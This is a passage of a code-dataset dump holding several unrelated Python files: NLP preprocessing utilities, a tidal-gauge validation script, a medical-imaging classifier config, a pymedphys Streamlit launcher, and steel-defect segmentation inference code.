clean_tokens (list): list of tokens\n \"\"\"\n # Replace urls\n url_regex = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\n detected_urls = re.findall(url_regex, text)\n for url in detected_urls:\n text = text.replace(url, \"urlplaceholder\")\n\n tokens = word_tokenize(re.sub(r\"[^a-zA-Z0-9]\", \" \", text))\n # remove stopwords\n if keep_stopwords == False:\n tokens = [w for w in tokens if w not in stopwords.words(\"english\")]\n lemmatizer = WordNetLemmatizer()\n clean_tokens = []\n for tok in tokens:\n #clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tok = lemmatizer.lemmatize(tok.lower().strip(), pos='v')\n clean_tokens.append(clean_tok)\n\n return clean_tokens\n\ndef generate_forms(lemmas):\n \"\"\"\n Generates a list of synonyms from a list of words and return all in same list\n Args:\n lemmas (list): list of lemmas\n Returns:\n list of all synonyms of the given lemmas\n \"\"\"\n forms = []\n for lemma in lemmas:\n synonyms = wordnet.synsets(lemma)\n forms = forms + [word.lemma_names() for word in synonyms]\n flattened_forms = [item for sublist in forms for item in sublist]\n\n return list(set(flattened_forms))\n\ndef load_data(database_filepath):\n \"\"\"\n Load data from sqllite database into a pandas dataframe\n Args:\n database_filepath (string): filepath of the sqllit database\n Returns:\n X: np array of predictors (text sentences)\n y: np array of labels (, 36)\n column names of 36 the categories\n \"\"\"\n table = 'Response'\n database = \"sqlite:///\" + database_filepath\n engine = create_engine(database)\n df = pd.read_sql_table(table, engine)\n X = df.message.values\n y = df.iloc[:,4:].values\n return X, y, df.columns[4:].values\n\ndef save_model(model, model_filepath):\n \"\"\"\n Dumps model into pickle file\n Args:\n model (model object): model to save\n model_filepath (string): filepath to save model to\n \"\"\"\n pickle.dump(model, open(model_filepath, 'wb'))\n","sub_path":"models/shared_utils.py","file_name":"shared_utils.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"203881059","text":"import sys\nfrom bot import Bot\n\n\n# Python versions before 3.0 do not use UTF-8 encoding\n# by default. To ensure that Unicode is handled properly\n# throughout SleekXMPP, we will set the default encoding\n# ourselves to UTF-8.\nif sys.version_info < (3, 0):\n reload(sys)\n sys.setdefaultencoding('utf8')\nelse:\n raw_input = input\n\n\n\nif __name__ == '__main__':\n \n bot = Bot()\n\n # result = bot.process_message(\"relatorio sempe\")\n result = bot.process_message(\"relatorio sempe\")\n print (str(result))\n","sub_path":"app/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"223952779","text":"import network\n#import idu\nimport time\nfrom tqdm import tqdm\n\ndef main():\n #testIDU1 = idu.IDU(True, 0.5, True, 0.5, 0.5, 0, 10, 9, 0.4, 0.6, (0.3, 0.4))\n #testIDU2 = idu.IDU(True, 0.5, False, 0.5, 0.5, 4, 3, 9, 0.4, 0.6, (0.3, 0.4))\n\n sim = network.Network(1000, 1000)\n for _ in tqdm(range(3650)):\n sim.doTimestep()\n #sim.debugPrint()\n #time.sleep(1) \n sim.debugPrint()\n\nif __name__ == \"__main__\":\n main()","sub_path":"simRunner.py","file_name":"simRunner.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"118622096","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 9 22:43:59 2019\n\n@author: Roy\n\"\"\"\n\nname = input('Please enter your name: >>> ')\n# if name.istext():\nif name.isdigit():\n print('You entered a number!')\nelse:\n letters = len(name)\n if letters >= 5:\n print(f'Your name, {name} is {letters} letters long')\n else:\n print('Your name is a secret')\n","sub_path":"Part5/Question5LengthNamepy.py","file_name":"Question5LengthNamepy.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"202942227","text":"import pandas as pd\nimport re\n\n\ndef_line_spacing=10\ndef_char_spacing=6\nhead_line_Y=371\ncsv_file=\"/home/selvaprakash/BillD/CSV/Latta.csv\"\nnew_csv_file=\"/home/selvaprakash/BillD/CSV/Latta_enh_clean.csv\"\n\ndef cleanup_text_file(csv_file,new_csv_file):\n def_line_spacing=10\n def_char_spacing=6\n df=pd.read_csv(csv_file,sep='|')\n sorted_df = df.sort_values(by=['Y1','X1'])\n df = sorted_df.reset_index(drop=True)\n print (df)\n #df.to_csv(\"D:\\Others\\BillDog\\CSV\\Sorted_Peri1_enh.csv\")\n word_space=0\n line_space=0\n word_space_arr=[]\n line_space_arr=[]\n counterX=0\n counterY=0\n if df['X1'].max()>1000 or df['Y1'].max()>1000:\n for i in range(1, len(df)):\n if df.loc[i]['X1']>df.loc[i - 1]['X2']:\n if re.match('[A-Z]', df.loc[i]['Word']):\n word_space+=((df.loc[i]['X1']) - (df.loc[i - 1]['X2']))\n counterX+=1\n #print (type(df.loc[i]['Word']),df.loc[i]['Word'],df.loc[i]['X1'],df.loc[i - 1]['X2'],((df.loc[i]['X1']) - (df.loc[i - 1]['X2'])))\n word_space_arr.append(((df.loc[i]['X1']) - (df.loc[i - 1]['X2'])))\n elif df.loc[i]['X1']1000 or df['Y1'].max()>1000:\n\n #print ('def_line_space',def_line_spacing)\n df = df.sort_values(by=['Y1','X1'])\n for i in range(1, len(df)):\n if abs((df.loc[i]['Y1']) - (df.loc[i - 1]['Y1'])) \" + s + \"\\n\"","sub_path":"type_finisher.py","file_name":"type_finisher.py","file_ext":"py","file_size_in_byte":9848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"366498530","text":"import math\r\nimport h5py\r\nimport uptide\r\nimport numpy as np\r\nfrom adjustText import adjust_text # The adjustText package should be useful here\r\nimport matplotlib.pyplot as plt\r\nimport input_file_paths\r\nfrom detectors import get_detectors, read_tide_gauge_data_file\r\nfrom firedrake import *\r\nfrom mpi4py import MPI\r\n\r\n\r\n# creates tide gauge hdf5 detector file from existing outputs\r\n# will be from 500 second timestep instead of 100, but hopefully still can get good data\r\n# maybe just will run no_lagoons_run again with new detectors later\r\ndef create_tide_gauge_hdf5_from_h5(run_num):\r\n\r\n comm = MPI.COMM_WORLD\r\n size = comm.size\r\n\r\n run_inf = input_file_paths.run_info\r\n outputdir = '../../../energy_market_outputs/outputs_run' + run_num\r\n mesh2D = Mesh('inputs_2D/mesh_' + run_inf[run_num]['extension'] + '.msh')\r\n P1_2D = FunctionSpace(mesh2D, \"CG\", 1)\r\n elev = Function(P1_2D, name='elev_CG')\r\n\r\n dt = 500\r\n t_start = 0\r\n t_end = t_start + 30 * 24 * 3600\r\n t_n = int((t_end - t_start) / dt)\r\n t = np.arange(t_start + dt, t_end + dt, dt)\r\n\r\n gauge_xy, gauge_names = get_detectors(mesh2D)\r\n\r\n elev_data = np.empty((t_n, len(gauge_names)))\r\n\r\n print(len(gauge_names))\r\n\r\n for j in range(0, t_n):\r\n print('Reading h5 files. Time ', j, len(range(t_n)))\r\n checkpoint_file = checkpointing.DumbCheckpoint(outputdir + '/elev_' + str(t_start + (j + 1) * dt) + '.0',\r\n mode=FILE_READ)\r\n checkpoint_file.load(elev)\r\n checkpoint_file.close()\r\n f1 = elev.at(gauge_xy, dont_raise=True)\r\n f1 = [np.array([np.nan]) if x == None else x for x in f1]\r\n f1 = np.array(f1)\r\n elev_data[j, :] = f1[:]\r\n\r\n if comm.rank == 0:\r\n hdf5 = h5py.File(outputdir + '/diagnostic_tide_gauge_detectors_NEW.hdf5', 'w')\r\n for col, name in enumerate(gauge_names):\r\n dset = hdf5.create_dataset(name, data=elev_data[:, col])\r\n time = hdf5.create_dataset('time', data=t[:])\r\n\r\n\r\ndef plot_amps_phases_determine_r2_con(run_no, constituent, hdf5_file, thetis_constituents, tide):\r\n\r\n gauge_data = read_tide_gauge_data_file()\r\n\r\n spin = 0\r\n t = hdf5_file['time']\r\n\r\n cno_thetis = (np.array(thetis_constituents) == constituent).argmax()\r\n\r\n amp_values_gauge, phase_values_gauge, amp_values_thetis, phase_values_thetis = [], [], [], []\r\n values_plot_amp, text_plot_amp, values_plot_phase, text_plot_phase = [], [], [], []\r\n\r\n for name, data in hdf5_file.items():\r\n\r\n if name == 'time':\r\n continue\r\n if name in gauges_ignore:\r\n continue\r\n\r\n # amp, pha = uptide.harmonic_analysis(tide, data[spin:, 0], t[spin:]) # with orig hdf5 file\r\n amp, pha = uptide.harmonic_analysis(tide, data[spin:], t[spin:]) # with new hdf5 file created above\r\n pha = np.remainder(pha, 2 * math.pi) * 360 / (2 * math.pi)\r\n gauge_phase = gauge_data[constituent + '_phase'].loc[(gauge_data.Location == name)].values[0]\r\n thetis_phase = pha[cno_thetis]\r\n gauge_amp = gauge_data[constituent + '_amp'].loc[(gauge_data.Location == name)].values[0]\r\n thetis_amp = amp[cno_thetis]\r\n\r\n # new phase fix\r\n angle_difference = (gauge_phase - thetis_phase + 180) % 360 - 180\r\n thetis_phase = gauge_phase - angle_difference\r\n\r\n name = name.replace('.', '')\r\n\r\n # for plots\r\n values_plot_amp.append([gauge_amp, thetis_amp])\r\n text_plot_amp.append(name)\r\n values_plot_phase.append([gauge_phase, thetis_phase])\r\n text_plot_phase.append(name)\r\n\r\n # for r2\r\n phase_values_thetis.append(thetis_phase)\r\n phase_values_gauge.append(gauge_phase)\r\n amp_values_thetis.append(thetis_amp)\r\n amp_values_gauge.append(gauge_amp)\r\n\r\n r2_a = np.corrcoef(amp_values_gauge, amp_values_thetis)[0, 1]\r\n r2_p = np.corrcoef(phase_values_gauge, phase_values_thetis)[0, 1]\r\n\r\n print('{}_{}-constituent amplitude r2 = %f'.format(constituent[0], constituent[1]) % r2_a)\r\n print('{}_{}-constituent phase r2 = %f'.format(constituent[0], constituent[1]) % r2_p)\r\n\r\n # amp plot\r\n plt.figure(figsize=(4.5, 2.75))\r\n plt.rc('text', usetex=True)\r\n plt.rc('font', family='serif')\r\n plt.plot([0, 5], [0, 5], 'k', lw=0.2, ls='dashed', alpha=0.5)\r\n\r\n values_plot_amp = np.array(values_plot_amp)\r\n texts = [plt.text(values_plot_amp[i, 0], values_plot_amp[i, 1], text_plot_amp[i], ha='center', va='center', size=7) for i in\r\n np.arange(0, len(values_plot_amp), 4)]\r\n\r\n plt.scatter(values_plot_amp[:, 0], values_plot_amp[:, 1], c='black', s=0.75)\r\n\r\n plt.xlabel('Observed $\\\\alpha$ (m)')\r\n plt.xlim([0, 5])\r\n plt.ylim([0, 5])\r\n\r\n adjust_text(texts, ax=plt.gca(),\r\n arrowprops=dict(arrowstyle=\"-|>\", color='blue', lw=0.15, connectionstyle='angle3', alpha=0.4),\r\n force_points=(5, 5), force_objects=(1.5, 1.5), force_text=(1.5, 1.5))\r\n\r\n plt.ylabel('Predicted $\\\\alpha$ (m)')\r\n plt.text(0.03 * 5, 0.9 * 5, '${}_{}$ $\\\\alpha$'.format(constituent[0], constituent[1]))\r\n plt.tight_layout()\r\n plt.savefig('validation_figures/' + run_no + '_{}-amplitude.png'.format(constituent), dpi=300)\r\n\r\n # phase plot\r\n plt.figure(figsize=(4.8, 2.75))\r\n plt.rc('text', usetex=True)\r\n plt.rc('font', family='serif')\r\n plt.plot([0, 360], [0, 360], 'k', lw=0.2, ls='dashed', alpha=0.5)\r\n\r\n values_plot_phase = np.array(values_plot_phase)\r\n texts = [plt.text(values_plot_phase[i, 0], values_plot_phase[i, 1], text_plot_phase[i], ha='center', va='center', size=7) for i in\r\n np.arange(0, len(values_plot_phase), 3)]\r\n\r\n plt.scatter(values_plot_phase[:, 0], values_plot_phase[:, 1], c='black', s=0.75)\r\n\r\n plt.xlim([0, 360])\r\n plt.ylim([0, 360])\r\n adjust_text(texts, ax=plt.gca(),\r\n arrowprops=dict(arrowstyle=\"-|>\", color='blue', lw=0.15, connectionstyle='angle3', alpha=0.4),\r\n force_points=(6, 6), force_objects=(1.5, 1.5), force_text=(1.25, 1.25))\r\n\r\n plt.xlabel('Observed $\\phi$ ($^o$)')\r\n plt.ylabel('Predicted $\\phi$ ($^o$)')\r\n plt.text(0.03 * 360, 0.9 * 360, '${}_{}$ $\\\\phi$'.format(constituent[0], constituent[1]))\r\n plt.tight_layout()\r\n plt.savefig('validation_figures/' + run_no + '_{}-phase.png'.format(constituent), dpi=600)\r\n\r\n\r\ndef plot_data_determine_r2(run_num, analysed_cons, start_t):\r\n\r\n data_cons = ['Q1', 'O1', 'P1', 'S1', 'K1', '2N2', 'MU2', 'N2', 'NU2', 'M2', 'L2', 'T2', 'S2', 'K2', 'M4', 'Z0']\r\n thetis_cons = ['Q1', 'O1', 'P1', 'K1', 'N2', 'M2', 'S2', 'K2']\r\n tide = uptide.Tides(thetis_cons)\r\n tide.set_initial_time(start_t) # make sure this is the same as in the tidal forcing of your run\r\n\r\n for cons in analysed_cons:\r\n # det_file = '../../../energy_market_outputs/outputs_run' + run_num + '/diagnostic_tide_gauge_detectors.hdf5' # if from original, dt = 100\r\n det_file = '../../../energy_market_outputs/outputs_run' + run_num + '/diagnostic_tide_gauge_detectors_NEW.hdf5' # if made after from h5 files, dt = 500\r\n hdf5 = h5py.File(det_file, 'r+')\r\n plot_amps_phases_determine_r2_con(run_num, cons, hdf5, thetis_cons, tide)\r\n\r\n\r\ngauges_ignore = ['STRANRAER', # right at the tip of an inlet\r\n 'BARROW-RAMSDEN.1', 'BARROW-RAMSDEN.2', 'BARROW-RAMSDEN.3', 'BARROW-RAMSDEN.4', 'BARROW-RAMSDEN.5',\r\n 'BARROW-RAMSDEN.6', 'BARROW-RAMSDEN.7', 'BARROW-RAMSDEN.8', 'BARROW-IN-FURNESS'\r\n ]\r\n\r\nstart_time = input_file_paths.thetis_start_time_2003\r\nthetis_const = ['M2', 'S2']\r\nplot_data_determine_r2('00e', thetis_const, start_time)\r\n\r\n# create_tide_gauge_hdf5_from_h5('00e')\r\n","sub_path":"validate_amp_phase_r2.py","file_name":"validate_amp_phase_r2.py","file_ext":"py","file_size_in_byte":7751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"16531609","text":"# dataset settings\r\ndataset_type = 'Hie_Dataset'\r\n# img_norm_cfg = dict(\r\n# mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)\r\ntrain_pipeline = [\r\n dict(type='LoadImageFromNIIFile'),\r\n dict(type='ExtractDataFromObj'),\r\n dict(type='NormalizeMedical', norm_type='full_volume_mean',\r\n instensity_min_val=0.5,\r\n instensity_max_val=99.5),\r\n dict(type='ResizeMedical', size=(160, 160, 80)),\r\n # dict(type='Normalize', **img_norm_cfg),\r\n dict(type='ConcatImage'),\r\n # dict(type='ImageToTensor', keys=['img']),\r\n\r\n dict(type='ToTensor', keys=['gt_label', 'img']),\r\n dict(type='Collect', keys=['img', 'gt_label'])\r\n]\r\ntest_pipeline = [\r\n dict(type='LoadImageFromNIIFile'),\r\n dict(type='ExtractDataFromObj'),\r\n dict(type='NormalizeMedical', norm_type='full_volume_mean',\r\n instensity_min_val=0.5,\r\n instensity_max_val=99.5),\r\n dict(type='ResizeMedical', size=(160, 160, 80)),\r\n dict(type='ToTensor', keys=['img']),\r\n dict(type='Collect', keys=['img'])\r\n]\r\ndata = dict(\r\n samples_per_gpu=8,\r\n workers_per_gpu=8,\r\n train=dict(\r\n type=dataset_type,\r\n data_prefix='/opt/data/private/project/charelchen.cj/workDir/dataset/hie/'\r\n 'hie_resample_0.5x0.5x0.5_niigz',\r\n ann_file='/opt/data/private/project/charelchen.cj/workDir/dataset/hie/t1_zw_fse_train.txt',\r\n pipeline=train_pipeline,\r\n modes=['t1_zw']),\r\n val=dict(\r\n type=dataset_type,\r\n data_prefix='/opt/data/private/project/charelchen.cj/workDir/dataset/hie/'\r\n 'hie_resample_0.5x0.5x0.5_niigz',\r\n ann_file='/opt/data/private/project/charelchen.cj/workDir/dataset/hie/t1_zw_fse_val.txt',\r\n pipeline=test_pipeline,\r\n modes=['t1_zw']),\r\n test=dict(\r\n # replace `data/val` with `data/test` for standard test\r\n type=dataset_type,\r\n data_prefix='/opt/data/private/project/charelchen.cj/workDir/dataset/hie/'\r\n 'hie_resample_0.5x0.5x0.5_niigz',\r\n ann_file='/opt/data/private/project/charelchen.cj/workDir/dataset/hie/t1_zw_fse_val.txt',\r\n pipeline=test_pipeline,\r\n modes=['t1_zw']))\r\nevaluation = dict(interval=2, metric=['accuracy', 'precision', 'recall', 'f1_score', 'support'])\r\n\r\n\r\nnorm_cfg = dict(type='BN3d', requires_grad=True)\r\nconv_cfg = dict(type='Conv3d')\r\nnum_classes = 2\r\n# model settings\r\nmodel = dict(\r\n type='ImageClassifier',\r\n backbone=dict(\r\n type='ResNet',\r\n depth=34,\r\n in_channels=1,\r\n in_dims=3,\r\n num_stages=4,\r\n out_indices=(3, ),\r\n style='pytorch',\r\n norm_cfg=norm_cfg,\r\n conv_cfg=conv_cfg,\r\n init_cfg=[\r\n dict(type='Kaiming', layer=['Conv3d']),\r\n dict(\r\n type='Constant',\r\n val=1,\r\n layer=['_BatchNorm', 'GroupNorm', 'BN3d'])\r\n ]\r\n ),\r\n neck=dict(type='GlobalAveragePooling', dim=3),\r\n head=dict(\r\n type='LinearClsHead',\r\n num_classes=num_classes,\r\n in_channels=512,\r\n loss=dict(type='CrossEntropyLoss', loss_weight=1.0),\r\n topk=(1,),\r\n ))\r\n\r\noptimizer = dict(type='SGD', lr=0.1, momentum=0.9, weight_decay=0.0001)\r\noptimizer_config = dict(grad_clip=None)\r\n# learning policy\r\nlr_config = dict(policy='step', step=[40, 80, 120])\r\nrunner = dict(type='EpochBasedRunner', max_epochs=160)\r\n\r\nlog_config = dict(\r\n interval=10,\r\n hooks=[\r\n dict(type='TextLoggerHook'),\r\n # dict(type='TensorboardLoggerHook')\r\n ])\r\n# yapf:enable\r\ncheckpoint_config = dict(by_epoch=True, interval=2)\r\ndist_params = dict(backend='nccl')\r\nlog_level = 'INFO'\r\nload_from = None\r\nresume_from = None\r\nworkflow = [('train', 1)]\r\n","sub_path":"configs/hie/resnet34_baseconfig.py","file_name":"resnet34_baseconfig.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"111266283","text":"# Copyright (C) 2019 Simon Biggs\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# pylint: disable = protected-access\n\nimport pathlib\nimport shutil\nfrom typing import Any, Dict, Tuple\n\nfrom pymedphys._imports import streamlit as st\nfrom pymedphys._imports import tornado\n\nfrom pymedphys._streamlit.server.downloads import FileLocationMap, FileName, SessionID\nfrom pymedphys._streamlit.server.downloads import (\n file_location_map as _file_location_map,\n)\n\nHERE = pathlib.Path(__file__).parent.resolve()\nSTREAMLIT_CONTENT_DIR = HERE.joinpath(\"_streamlit\")\n\n\ndef main(args):\n \"\"\"Boot up the pymedphys GUI\"\"\"\n _fill_streamlit_credentials()\n\n streamlit_script_path = str(HERE.joinpath(\"_app.py\"))\n\n if args.port:\n st.cli._apply_config_options_from_cli({\"server.port\": args.port})\n\n # Needs to run after config has been set\n _monkey_patch_streamlit_server()\n\n st._is_running_with_streamlit = True\n st.bootstrap.run(streamlit_script_path, \"\", [])\n\n\nURLRoute = str\nHandler = Any\nHandlers = Dict[URLRoute, Tuple[Handler, Dict[str, Any]]]\n\n\ndef _create_handlers() -> Handlers:\n class HelloWorldHandler( # pylint: disable = abstract-method\n tornado.web.RequestHandler\n ):\n def get(self):\n self.write(\"Hello world!\")\n\n class DownloadHandler( # pylint: disable = abstract-method\n tornado.web.RequestHandler\n ):\n def initialize(self, file_location_map: FileLocationMap) -> None:\n self.file_location_map = ( # pylint: disable = attribute-defined-outside-init\n file_location_map\n )\n\n def get(self, session_id: SessionID, filename: FileName):\n filepath = self.file_location_map[session_id][filename]\n\n with open(filepath, \"rb\") as f:\n self.write(f.read())\n\n self.finish()\n\n return {\n \"pymedphys\": (HelloWorldHandler, {}),\n \"downloads/(.*)/(.*)\": (\n DownloadHandler,\n {\"file_location_map\": _file_location_map},\n ),\n }\n\n\ndef _monkey_patch_streamlit_server():\n \"\"\"Adds custom URL routes to Streamlit's tornado server.\"\"\"\n handlers = _create_handlers()\n\n OfficialServer = st.server.server.Server\n official_create_app = OfficialServer._create_app\n\n def patched_create_app(self: st.server.server.Server) -> tornado.web.Application:\n app: tornado.web.Application = official_create_app(self)\n\n base: str = st.config.get_option(\"server.baseUrlPath\")\n\n rules: tornado.routing._RuleList = []\n for key, (handler, kwargs) in handlers.items():\n pattern = st.server.server_util.make_url_path_regex(base, key)\n rules.append((pattern, handler, kwargs))\n\n app.add_handlers(\".*\", rules)\n\n return app\n\n OfficialServer._create_app = patched_create_app\n\n\ndef _fill_streamlit_credentials():\n streamlit_config_file = pathlib.Path.home().joinpath(\n \".streamlit\", \"credentials.toml\"\n )\n if streamlit_config_file.exists():\n return\n\n streamlit_config_dir = streamlit_config_file.parent\n streamlit_config_dir.mkdir(exist_ok=True)\n\n template_streamlit_config_file = STREAMLIT_CONTENT_DIR.joinpath(\"credentials.toml\")\n\n try:\n shutil.copy2(template_streamlit_config_file, streamlit_config_file)\n except FileExistsError:\n pass\n","sub_path":"lib/pymedphys/_gui.py","file_name":"_gui.py","file_ext":"py","file_size_in_byte":3836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"625678060","text":"import os\nimport gc\nimport time\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom contextlib import contextmanager\nfrom albumentations import *\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torch.optim.lr_scheduler import CosineAnnealingLR\n\nimport sys\n\nsys.path.append(\"../severstal-src/\")\nfrom util import seed_torch, search_threshold\nfrom losses import FocalLovaszLoss\nfrom logger import setup_logger, LOGGER\nfrom scheduler import GradualWarmupScheduler\nimport cls_models\n\nsys.path.append(\"../\")\nimport segmentation_models_pytorch as smp\nimport segmentation_models_pytorch2 as smp_old\n\nimport os\nimport cv2\nimport torch\nimport random\nimport pydicom\nimport numpy as np\nfrom torch.utils.data import Dataset\nfrom util import rle2mask\n\n\nclass SeverDatasetTest(Dataset):\n\n def __init__(self,\n df,\n img_dir,\n img_size,\n n_classes,\n crop_rate=1.0,\n id_colname=\"ImageId\",\n mask_colname=[\"EncodedPixels_{}\".format(i) for i in range(1, 5)],\n transforms=None,\n means=[0.485, 0.456, 0.406],\n stds=[0.229, 0.224, 0.225]\n ):\n self.df = df\n self.img_dir = img_dir\n self.img_size = img_size\n self.transforms = transforms\n self.means = np.array(means)\n self.stds = np.array(stds)\n self.id_colname = id_colname\n self.mask_colname = mask_colname\n self.n_classes = n_classes\n self.crop_rate = crop_rate\n\n def __len__(self):\n return self.df.shape[0]\n\n def __getitem__(self, idx):\n cur_idx_row = self.df.iloc[idx]\n img_id = cur_idx_row[self.id_colname]\n img_path = os.path.join(self.img_dir, img_id)\n\n img = cv2.imread(img_path)\n img = cv2.resize(img, self.img_size)\n\n if self.transforms is not None:\n augmented = self.transforms(image=img)\n img = augmented['image']\n\n img = img / 255\n img -= self.means\n img /= self.stds\n img = img.transpose((2, 0, 1))\n\n return torch.Tensor(img), img_id\n\n\ndef predict_dsv(models, test_loader, device):\n preds_rle = []\n ids = []\n with torch.no_grad():\n for step, (features, img_id) in enumerate(test_loader):\n features = features.to(device)\n\n for i, m in enumerate(models):\n if i == 0:\n logits = torch.sigmoid(m(features)[0])\n else:\n logits += torch.sigmoid(m(features)[0])\n # logits += torch.sigmoid(m(features[:, :, :, torch.arange(IMG_SIZE[0] - 1, -1, -1)])[0][:, :, :, torch.arange(IMG_SIZE[0] - 1, -1, -1)])\n # logits += torch.sigmoid(m(features[:, :, torch.arange(IMG_SIZE[1] - 1, -1, -1), :])[0][:, :, torch.arange(IMG_SIZE[1] - 1, -1, -1), :])\n # logits += torch.sigmoid(m(features[:, :, torch.arange(IMG_SIZE[1] - 1, -1, -1), :][:, :, :, torch.arange(IMG_SIZE[0] - 1, -1, -1)])[0][:, :, :, torch.arange(IMG_SIZE[0] - 1, -1, -1)][:, :, torch.arange(IMG_SIZE[1] - 1, -1, -1), :])\n # logits = logits / 4\n logits = logits / (len(models))\n logits = logits.float().cpu().numpy().astype(\"float16\")\n\n rles = []\n sub_ids = []\n for i, (preds, id_) in enumerate(zip(logits, img_id)):\n for class_, (remove_mask_pixel, threshold, threshold_after_remove, p) in enumerate(\n zip(remove_mask_pixels, thresholds, threshold_after_removes, preds)):\n sub_ids.append(id_ + \"_{}\".format(class_ + 1))\n if np.sum(p > threshold) < remove_mask_pixel:\n rles.append(None)\n continue\n p = np.flipud(np.rot90(p, k=1))\n im = cv2.resize(p.astype(\"float64\"), (256, 1600))\n\n rles.append(mask2rle((im > threshold_after_remove).astype(\"int8\"), 1600, 256))\n\n ids.extend(sub_ids)\n preds_rle.extend(rles)\n\n del features, logits, rles\n gc.collect()\n\n return preds_rle, ids\n\n\ndef predict_cls(models, test_loader, device):\n preds_rle = []\n ids = []\n next_ids = []\n next_sub_ids = []\n with torch.no_grad():\n for step, (features, img_id) in enumerate(test_loader):\n features = features.to(device)\n\n for i, m in enumerate(models):\n if i == 0:\n logits = m(features)\n else:\n logits += m(features)\n # logits += torch.sigmoid(unet_model(features[:, :, :, torch.arange(IMG_SIZE[0] - 1, -1, -1)])[0][:, :, :, torch.arange(IMG_SIZE[0] - 1, -1, -1)])\n # logits += torch.sigmoid(unet_model(features[:, :, torch.arange(IMG_SIZE[1] - 1, -1, -1), :])[0][:, :, torch.arange(IMG_SIZE[1] - 1, -1, -1), :])\n # logits += torch.sigmoid(unet_model(features[:, :, torch.arange(IMG_SIZE[1] - 1, -1, -1), :][:, :, :, torch.arange(IMG_SIZE[0] - 1, -1, -1)])[0][:, :, :, torch.arange(IMG_SIZE[0] - 1, -1, -1)][:, :, torch.arange(IMG_SIZE[1] - 1, -1, -1), :])\n # logits = logits / 4\n logits = logits / len(models)\n logits = torch.sigmoid(logits).float().cpu().numpy().astype(\"float16\")\n\n rles = []\n sub_ids = []\n for i, (preds, id_) in enumerate(zip(logits, img_id)):\n for class_, (p, th) in enumerate(zip(preds, cls_thresholds)):\n if p <= th:\n sub_ids.append(id_ + \"_{}\".format(class_ + 1))\n rles.append(None)\n continue\n else:\n if id_ not in next_ids:\n next_ids.append(id_)\n next_sub_ids.append(id_ + \"_{}\".format(class_ + 1))\n\n ids.extend(sub_ids)\n preds_rle.extend(rles)\n\n del features, logits\n gc.collect()\n\n return preds_rle, ids, next_ids, next_sub_ids\n\n\ndef mask2rle(img, width, height):\n rle = []\n lastColor = 0;\n currentPixel = 0;\n runStart = -1;\n runLength = 0;\n\n for x in range(width):\n for y in range(height):\n currentColor = img[x][y]\n if currentColor != lastColor:\n if currentColor == 1:\n runStart = currentPixel\n runLength = 1;\n else:\n rle.append(str(runStart));\n rle.append(str(runLength));\n runStart = -1;\n runLength = 0;\n elif runStart > -1:\n runLength += 1\n lastColor = currentColor;\n currentPixel += 1;\n\n return \" \".join(rle)\n\n\n# ===============\n# Constants\n# ===============\nIMG_DIR = \"../input/test_images/\"\nLOGGER_PATH = \"log.txt\"\nTEST_PATH = \"../input/sample_submission.csv\"\nID_COLUMNS = \"ImageId\"\nN_CLASSES = 4\n\n# ===============\n# Settings\n# ===============\nSEED = np.random.randint(10000)\ndevice = \"cuda:0\"\nIMG_SIZE = (1600, 256)\nCLR_CYCLE = 3\nBATCH_SIZE = 32\nFOLD_ID = 0\nCLASSIFICATION = True\ncls_model_path_res = [\n \"../exp/models/cls_exp1_resnet_fold0_ckpt8_ema.pth\",\n \"../exp/models/cls_exp1_resnet_fold1_ckpt8_ema.pth\",\n \"../exp/models/cls_exp1_resnet_fold2_ckpt7_ema.pth\",\n \"../exp/models/cls_exp1_resnet_fold3_ckpt5_ema.pth\",\n \"../exp/models/cls_exp1_resnet_fold4_ckpt5_ema.pth\",\n]\ncls_model_path_se = [\n \"../exp/models/cls_exp2_seresnext_fold0_ckpt4_ema.pth\",\n \"../exp/models/cls_exp2_seresnext_fold1_ckpt3_ema.pth\",\n \"../exp/models/cls_exp2_seresnext_fold2_ckpt5_ema.pth\",\n \"../exp/models/cls_exp2_seresnext_fold3_ckpt4_ema.pth\",\n \"../exp/models/cls_exp2_seresnext_fold4_ckpt3_ema.pth\",\n]\ncls_model_path_inc = [\n \"../exp/models/cls_exp7_incep_fold0_ckpt3_ema.pth\",\n]\nmodel_pathes = [\n \"../exp/models/exp57_unet_resnet_fold0_ckpt11_ema.pth\",\n \"../exp/models/exp57_unet_resnet_fold1_ckpt17_ema.pth\",\n \"../exp/models/exp57_unet_resnet_fold2_ckpt13_ema.pth\",\n \"../exp/models/exp57_unet_resnet_fold3_ckpt13_ema.pth\",\n \"../exp/models/exp57_unet_resnet_fold4_ckpt9_ema.pth\",\n \"../exp/models/exp69_unet_resnet_fold0_ckpt14.pth\",\n]\nmodel_pathes2 = [\n \"../exp/models/exp35_unet_resnet_fold0_ckpt16.pth\",\n \"../exp/models/exp35_unet_resnet_fold1_ckpt14.pth\",\n 